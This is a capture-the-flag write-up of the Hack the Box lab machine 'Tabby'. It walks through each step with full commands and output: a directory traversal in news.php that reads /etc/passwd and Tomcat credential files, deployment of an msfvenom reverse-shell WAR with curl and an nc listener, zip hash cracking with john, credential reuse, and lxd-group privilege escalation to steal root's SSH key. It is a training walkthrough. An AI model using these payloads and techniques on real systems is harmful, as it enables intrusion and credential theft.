Hack the Box Write-up #9: Tabby
This is a write-up for Hack the Box’s just retired Tabby machine.
We first find a Directory Traversal vulnerability in a web app and use it to obtain credentials for a Tomcat server running on the same host. Cracking a zip password of a discovered file then gives us access to the first low-priv user. From there, we exploit the fact that our user is part of the lxd
group, create a small Alpine Linux image and eventually mount the host’s root file system in a new container.
Recon and Enumeration
We start by doing a fast scan to get a first overview of the box:
nmap -F 10.10.10.194
[...]
Not shown: 97 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Port 80 and 8080 are the most obvious things to look at first. While we start here, we also begin a full TCP port scan in the background (nmap -p- 10.10.10.194
) to potentially gather more information for a later stage.
Looking at the site on port 80, we notice links going to the hostname megahosting.htb
. We add it to our /etc/hosts
file and proceed.
Directory Traversal via news.php
The top menu item News looks interesting, as it points to http://megahosting.htb/news.php?file=statement
, hinting at a potential file inclusion and/or directory traversal.
We are lucky and can easily traverse and read files from the server: http://megahosting.htb/news.php?file=../../../../../../etc/passwd
.
Before spending much time enumerating the file system “half-blind”, though, let’s first see if we can find another service that could give us guidance on where to look for interesting files.
Discovering Tomcat and utilizing earlier vulnerability
Checking the results of our full port scan from ealier, we can see that TCP port 22, 80 and 8080 are the only open ports – so nothing new here.
Navigating to http://megahosting.htb:8080
, we find what seems to be a default Tomcat 9 installation:
A common thing to check for Tomcat instances is the availability of the manager app (see for example Jerry or Kotarak write-up).
We’re getting a Basic Auth prompt for http://megahosting.htb:8080/manager/html
. Since we don’t have any credentials yet, we can try to utilize the vulnerability from earlier and read the tomcat-users.xml
file, which could give us potential usernames, passwords and role information.
The default Tomcat page happily gives up the installation directory as /usr/share/tomcat9
. It is thus most-likely, that we find configuration files in here.
Looking at common file pathes, we can easily identify /usr/share/tomcat9/etc/tomcat-users.xml
as the location of a potential target file.
Via the earlier directory traversal vulnerability we can can indeed get its contents:
GET /news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1
[...]
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
[...]
Since we don’t have the manager-gui
role, we cannot utilize the web interface though. The manager-script
role, however, should be enough as it also gives us the ability to deploy our own apps – just not via the web ui.
Deploying our own app
Looking at the Tomcat manager documentation, we can get instructions on how to use the HTTP interface to deploy new apps (see section “Deploy A New Application Archive (WAR) Remotely”). TL;DR: A simple curl
PUT file upload command should do.
We can create our own WAR app with a reverse shell payload by using msfvenom
:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=80 -f war -o letmein.war
For later access, we note the name of the JSP file msfvenom
generated by looking into the letmein.war
(which is a zip archive):
$ unzip -l letmein.war
Archive: letmein.war
Length Date Time Name
--------- ---------- ----- ----
0 2020-11-06 22:01 META-INF/
71 2020-11-06 22:01 META-INF/MANIFEST.MF
0 2020-11-06 22:01 WEB-INF/
263 2020-11-06 22:01 WEB-INF/web.xml
1801 2020-11-06 22:01 gvggpzkl.jsp <--- this guy!
--------- -------
2135 5 files
With our credentials and payload at hand, we can attempt to deploy:
curl -v -u 'tomcat:$3cureP4s5w0rd123!' --upload-file letmein.war 'http://10.10.10.194:8080/manager/text/deploy?path=/letmein&update=true'
* Trying 10.10.10.194:8080...
* Connected to 10.10.10.194 (10.10.10.194) port 8080 (#0)
* Server auth using Basic with user 'tomcat'
> PUT /manager/text/deploy?path=/letmein&update=true HTTP/1.1
> Host: 10.10.10.194:8080
> Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==
> User-Agent: curl/7.72.0
> Accept: */*
> Content-Length: 1533
> Expect: 100-continue
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 100
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Cache-Control: private
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Content-Type-Options: nosniff
< Content-Type: text/plain;charset=utf-8
< Transfer-Encoding: chunked
< Date: Fri, 06 Nov 2020 21:20:15 GMT
<
OK - Deployed application at context path [/letmein]
Starting a listener on port 80 (nc -lvnp 80
), then hitting the JSP file of our payload (curl http://10.10.10.194:8080/letmein/gvggpzkl.jsp
) should give us our first shell:
$ nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.194.
Ncat: Connection from 10.10.10.194:53318
Privilege Escalation to “ash” (hash cracking)
With our shell, we are the tomcat
user and not part of any special group (id
).
After a couple of basic checks and looking at common places, we find 16162020_backup.zip
inside /var/www/html/files
– a file we could have also accessed earlier via port 80 if we had known its name.
We can download and try to open it. Unfortunately, the zip file has a password on it.
Using zip2john 16162020_backup.zip
, we extract the hash and attempt to crack it using a common wordlist:
john --wordlist=~/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it (16162020_backup.zip)
1g 0:00:00:01 DONE (2020-11-06 22:48) 0.5617g/s 5817Kp/s 5817Kc/s 5817KC/s adminako123..admin422243
Cracking the password succeeds after just a second.
We can now extract the contents of the archive, but find it is simply a current backup of the site and thus contains nothing new.
Having discovered a new password, however, we can see if somebody is re-using their credentials.
We first try it on the user ash
as it’s the only user with a shell besides root (grep bash /etc/passwd
). And it works! We can switch to user ash
with su ash
and password admin@it
.
Privilege Escalation to “root” (lxd)
Now that we are ash
, let’s check our groups again:
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
We are part of the lxd
group, which looks like a solid way to escalate by creating a new container and mounting the host file system.
To first build an image, we need distrobuilder, a Go application. It needs a couple of requirements, but is easy to setup when following the instructions on GitHub.
We can also – more or less – follow the instructions for building the image. But as we only need a light-weight base, we choose Alpine over Ubuntu.
Let’s make a directory and grab an Alpine configuration:
$ mkdir alpine
$ cd alpine/
$ vim alpine.yml
For the alpine.yml
we use https://github.com/lxc/lxc-ci/blob/master/images/alpine.yaml.
Now we can go ahead and build the lxd
image using distrobuilder
:
$ distrobuilder build-lxd alpine.yml -o image.release=3.12
/tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz: 100% (5.53MB/s)
/tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz.asc: 100% (2.29GB/s)
fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
[...]
We should now have our container image consisting of lxd.tar.xz
and rootfs.squashfs
present in our alpine
folder. Let’s transfer the file over to the target machine:
# on target
nc -lvnp 8000 > lxd.tar.xz
nc -lvnp 8000 > rootfs.squashfs
# on attacker
nc 10.10.10.194 8000 < lxd.tar.xz
nc 10.10.10.194 8000 < rootfs.squashfs
# on both hosts to check if everything went fine
md5sum *
Then add the image on the target host:
lxd init # on a fresh instance, you need to init, but can go with the defaults
lxc image import lxd.tar.xz rootfs.squashfs --alias givemeroot
Now we can create and configure our privileged privesc container to mount the host file system (options taken from HackTricks):
lxc init givemeroot privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
And that’s it. We can run our container, get a shell in it and navigate to our mount point to gain full access to the host’s root filesystem:
lxc start privesc
lxc exec privesc /bin/sh
cd /mnt/root <-- host's file system
With this kind of access, we can steal the id_rsa
from /mnt/root/root/.ssh
and SSH into the box as root:
ssh -i root.key root@10.10.10.194
Undo
Since this is a quite visible privilege escalation, you can either reset the box or remove the lxd stuff you added to not spoil it for other players. Essentially, it is:
lxc delete privesc
lxc image delete givemeroot
lxc network delete lxdbr0 <-- from the init
lxc storage delete default
lxc profile edit default <-- wipe config
I hope you’ve enjoyed this write-up. If you have any questions, did it another way or have something else to say, feel free to reach out. I’m always happy to learn new things. You can also check out the other write-ups.
Like to comment? Feel free to send me an email or reach out on Twitter.
Did this or another article help you? If you like and can afford it, you can buy me a coffee (3 EUR) ☕️ to support me in writing more posts. In case you would like to contribute more or I helped you directly via email or coding/troubleshooting session, you can opt to give a higher amount through the following links or adjust the quantity: 50 EUR, 100 EUR, 500 EUR. All links redirect to Stripe.